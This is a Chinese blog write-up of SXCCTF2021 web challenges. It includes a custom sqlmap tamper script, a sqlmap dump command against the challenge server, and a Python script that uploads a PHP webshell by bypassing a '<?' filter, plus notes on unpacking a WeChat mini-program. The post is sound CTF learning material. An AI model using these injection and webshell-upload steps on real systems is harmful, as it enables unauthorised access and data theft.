博客
关于我
SXCCTF2021 Web
阅读量:199 次
发布时间:2019-02-28

本文共 4823 字,大约阅读时间需要 16 分钟。

前言

是认识的一个师傅的学校的比赛,很多大师傅们也都去打了。题目质量很高,就是我太菜了。。Web只会1道,看了一下y4师傅的WP学习了一下微信小程序逆向的那道题,还剩下一道CMS的审计,不会做,先暂时留着,等到下一阶段专门进行CMS审计的学习的时候再好好审一审。

Base

robots.txt里面可以得到base.txt,得到255个,写个python脚本把编码跑出来就可以了,比如d是Xw这样的。

最后我把比较重要的给跑了出来:

dic={   '$':'Hw',';':'Ng','?':'Og' ,"'":'Ig'  ,',':'Jw','_':'Wg','(':'Iw','<':'Nw','}':'eA','%':'IA',')':'JA','-':'KA','=':'OA','.':'KQ','*':'JQ','>':'OQ'  ,'o': 'ag', 'p': 'aw', 'm': 'aA', 'n': 'aQ', 's': 'bg', 't': 'bw', 'q': 'bA', 'r': 'bQ', 'w': 'cg', 'x': 'cw', 'u': 'cA', 'v': 'cQ', 'y': 'dA', 'z': 'dQ', '+': 'Jg', '/': 'Kg', 'C': 'Pg', 'D': 'Pw', 'A': 'PA', 'B': 'PQ', 'G': 'Qg', 'H': 'Qw', 'E': 'QA', 'F': 'QQ', 'K': 'Rg', 'L': 'Rw', 'I': 'RA', 'J': 'RQ', 'O': 'Sg', 'P': 'Sw', 'M': 'SA', 'N': 'SQ', 'S': 'Tg', 'T': 'Tw', 'Q': 'TA', 'R': 'TQ', 'W': 'Ug', 'X': 'Uw', 'U': 'UA', 'V': 'UQ', 'Y': 'VA', 'Z': 'VQ', 'c': 'Xg', 'd': 'Xw', 'a': 'XA', 'b': 'XQ', 'g': 'Yg', 'h': 'Yw', 'e': 'YA', 'f': 'YQ', 'k': 'Zg', 'l': 'Zw', 'i': 'ZA', 'j': 'ZQ', ' ': 'CA', '0': 'Kw', '3': 'Lg', '4': 'Lw', '1': 'LA', '2': 'LQ', '7': 'Mg', '8': 'Mw', '5': 'MA', '6': 'MQ', '9': 'NA'}

构造出admin,然后就是SQL注入了。这题有2个点比较烦,一就是自己手注的话,每个payload都得按照这个dic编码一次。还有就是这样直接union注入的话,没有回显。是的,没有回显,我也不知道为什么,挺奇怪的,所以方便一点就sqlmap一把梭,因为就是个简单的SQL注入,一点过滤都没有,布尔注入随便也可以写的,不过因为最近刚学习sqlmap的tamper,就写了个sqlmap的tamper,然后sqlmap跑出来就可以了。

#!/usr/bin/env python"""Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)See the file 'LICENSE' for copying permission"""from lib.core.compat import xrangefrom lib.core.enums import PRIORITY__priority__ = PRIORITY.LOWdef dependencies():    passdef tamper(payload, **kwargs):    retVal = payload    dic={   '$':'Hw',';':'Ng','?':'Og' ,"'":'Ig'  ,',':'Jw','_':'Wg','(':'Iw','<':'Nw','}':'eA','%':'IA',')':'JA','-':'KA','=':'OA','.':'KQ','*':'JQ','>':'OQ'  ,'o': 'ag', 'p': 'aw', 'm': 'aA', 'n': 'aQ', 's': 'bg', 't': 'bw', 'q': 'bA', 'r': 'bQ', 'w': 'cg', 'x': 'cw', 'u': 'cA', 'v': 'cQ', 'y': 'dA', 'z': 'dQ', '+': 'Jg', '/': 'Kg', 'C': 'Pg', 'D': 'Pw', 'A': 'PA', 'B': 'PQ', 'G': 'Qg', 'H': 'Qw', 'E': 'QA', 'F': 'QQ', 'K': 'Rg', 'L': 'Rw', 'I': 'RA', 'J': 'RQ', 'O': 'Sg', 'P': 'Sw', 'M': 'SA', 'N': 'SQ', 'S': 'Tg', 'T': 'Tw', 'Q': 'TA', 'R': 'TQ', 'W': 'Ug', 'X': 'Uw', 'U': 'UA', 'V': 'UQ', 'Y': 'VA', 'Z': 'VQ', 'c': 'Xg', 'd': 'Xw', 'a': 'XA', 'b': 'XQ', 'g': 'Yg', 'h': 'Yw', 'e': 'YA', 'f': 'YQ', 'k': 'Zg', 'l': 'Zw', 'i': 'ZA', 'j': 'ZQ', ' ': 'CA', '0': 'Kw', '3': 'Lg', '4': 'Lw', '1': 'LA', '2': 'LQ', '7': 'Mg', '8': 'Mw', '5': 'MA', '6': 'MQ', '9': 'NA'}    if payload:        retVal=''        for i in payload:            if i in dic:                i=dic[i]            retVal+=i    return retVal

然后sqlmap一把梭:

python sqlmap.py -u "http://106.55.249.213:5001/?user=XAXwaAZAaQ&id=1" --dump -p id --tamper="new1.py"

布尔注入的脚本就不写了,太懒了,最近刷ctfshow的sql注入,这几天写了太多注入脚本,写的人都傻了,累了累了。

Wechat

第一次接触微信小程序的逆向,参考了一下y4师傅的博客。我们把附件下载下来是没有后缀名的,但是微信小程序的逆向,肯定是.wxapkg。然后就是利用WxAppUnpacker这个工具逆向一下:

用法也给了:

node wuWxapkg.js 小程序包路径(.wxapkg格式)

需要用到node,而且可能会报一些module不存在,和python类似,都是因为我们没有下载那个module,去谷歌查一下下载就可以了,感觉都是这样:

npm install xxx --save

装好后再用就可以成功得到小程序的源代码了,然后就不会了。。因为我不会javascript。。所以只能跟着y4师傅直接得到结果,至于代码审计的过程,等以后学了javascript后再来审一遍。

在notes.js里面发现了文件上传:

// pages/notes/notes.jsPage({   data: {   }})     picPaths: []    },    onLoad: function(a) {   },    chooseImageTap: function() {           var a = this;        wx.showActionSheet({               itemList: [ "从相册中选择", "拍照" ],            itemColor: "#00000",            success: function(e) {                   e.cancel || (0 == e.tapIndex ? a.chooseWxImage("album") : 1 == e.tapIndex && a.chooseWxImage("camera"));            }        });    },    chooseWxImage: function(a) {           var e = this;        e.data.imgs;        wx.chooseImage({               sizeType: [ "original", "compressed" ],            sourceType: [ a ],            success: function(a) {                   console.log(a.tempFilePaths[0]), e.upImgs(a.tempFilePaths[0], 0);            }        });    },    upImgs: function(a, e) {           var t = this;        wx.uploadFile({               url: "http://121.37.189.111:8055/upload_file.php",            filePath: a,            name: "file",            header: {                   "content-type": "multipart/form-data"            },            formData: null,            success: function(a) {                   console.log(a);                var e = JSON.parse(a.data);                t.data.picPaths.push(e.msg), t.setData({                       picPaths: t.data.picPaths                }), console.log(t.data.picPaths);            }        });    }});

写个python传马就可以了,因为过滤了<?,所以拿script来绕过,正好php的版本也是7以下:

import requestsurl="http://121.37.189.111:8055/upload_file.php"files={       'file':('feng.php',"")}r=requests.post(url=url,files=files)print(r.text)

传完后会得到上传的马的路径,然后蚁剑连一下就可以找到flag了。

总结

还是太菜了哇,不会javascript,php也审不了CMS,要加紧学习哇。

转载地址:http://fjis.baihongyu.com/

你可能感兴趣的文章
Nginx配置实例-反向代理实现浏览器请求Nginx跳转到服务器某页面
查看>>
Nginx配置实例-负载均衡实例:平均访问多台服务器
查看>>
Nginx配置文件nginx.conf中文详解(总结)
查看>>
Nginx配置自带的stub状态实现活动监控指标
查看>>
nginx配置详解、端口重定向和504
查看>>
Nginx配置负载均衡到后台网关集群
查看>>
Nginx配置限流,技能拉满!
查看>>
Nginx配置静态代理/静态资源映射时root与alias的区别,带前缀映射用alias
查看>>
Nginx面试三连问:Nginx如何工作?负载均衡策略有哪些?如何限流?
查看>>
Nginx:NginxConfig可视化配置工具安装
查看>>
ngModelController
查看>>
ngrok | 内网穿透,支持 HTTPS、国内访问、静态域名
查看>>
ngrok内网穿透可以实现资源共享吗?快解析更加简洁
查看>>
NHibernate学习[1]
查看>>
NHibernate异常:No persister for的解决办法
查看>>
NIFI1.21.0_java.net.SocketException:_Too many open files 打开的文件太多_实际操作---大数据之Nifi工作笔记0051
查看>>
NIFI1.21.0_Mysql到Mysql增量CDC同步中_日期类型_以及null数据同步处理补充---大数据之Nifi工作笔记0057
查看>>
NIFI1.21.0_Mysql到Mysql增量CDC同步中_补充_更新时如果目标表中不存在记录就改为插入数据_Postgresql_Hbase也适用---大数据之Nifi工作笔记0059
查看>>
NIFI1.21.0_NIFI和hadoop蹦了_200G集群磁盘又满了_Jps看不到进程了_Unable to write in /tmp. Aborting----大数据之Nifi工作笔记0052
查看>>
NIFI1.21.0最新版本安装_连接phoenix_单机版_Https登录_什么都没改换了最新版本的NIFI可以连接了_气人_实现插入数据到Hbase_实际操作---大数据之Nifi工作笔记0050
查看>>